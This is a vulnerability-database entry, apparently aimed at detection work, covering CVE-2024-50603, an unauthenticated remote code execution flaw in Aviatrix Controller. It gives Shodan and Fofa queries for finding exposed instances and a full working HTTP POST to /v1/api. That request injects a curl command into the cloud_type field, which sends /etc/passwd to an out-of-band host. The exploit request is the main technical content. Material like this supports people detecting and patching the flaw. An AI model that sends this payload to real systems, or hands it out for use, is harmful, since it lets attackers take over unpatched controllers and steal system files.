🔙 목록으로 돌아가기

CVE-2024-50603: Aviatrix Controller - Remote Code Execution

TitleAviatrix Controller - Remote Code Execution
Authornewlinesec,securing.pl
SeverityCritical
ImpactAttackers can exploit vulnerabilities to compromise the system.
RemediationUpdate to the latest patched version addressing CVE-2024-50603.
CVSS Score10
EPSS Score0.94352
CVE IDCVE-2024-50603
CWE IDCWE-78
Shodan Queryhttp.title:"aviatrix controller"http.title:"aviatrix cloud controller"
Fofa Queryapp="aviatrix-controller"title="aviatrix cloud controller"
Tags cve cve2024 aviatrix controller rce oast kev vkev vuln

🔍 Vulnerability Description

An issue was discovered in Aviatrix Controller before 7.1.4191 and 7.2.x before 7.2.4996. Due to the improper neutralization of special elements used in an OS command, an unauthenticated attacker is able to execute arbitrary code. Shell metacharacters can be sent to /v1/api in cloud_type for list_flightpath_destination_instances, or src_cloud_type for flightpath_connection_test.

🌐 HTTP Request

POST /v1/api HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_16) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Connection: close
Content-Length: 194
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=list_flightpath_destination_instances&CID=anything_goes_here&account_name=1&region=1&vpc_id_name=1&cloud_type=1|$(curl+-X+POST+-d+@/etc/passwd+d5jk13hle0o4l55rk2q0njfrf81j5eudu.oast.site)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2024/CVE-2024-50603.yaml

🦈 Packet Capture: ⬇️ Download cve-2024-50603.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A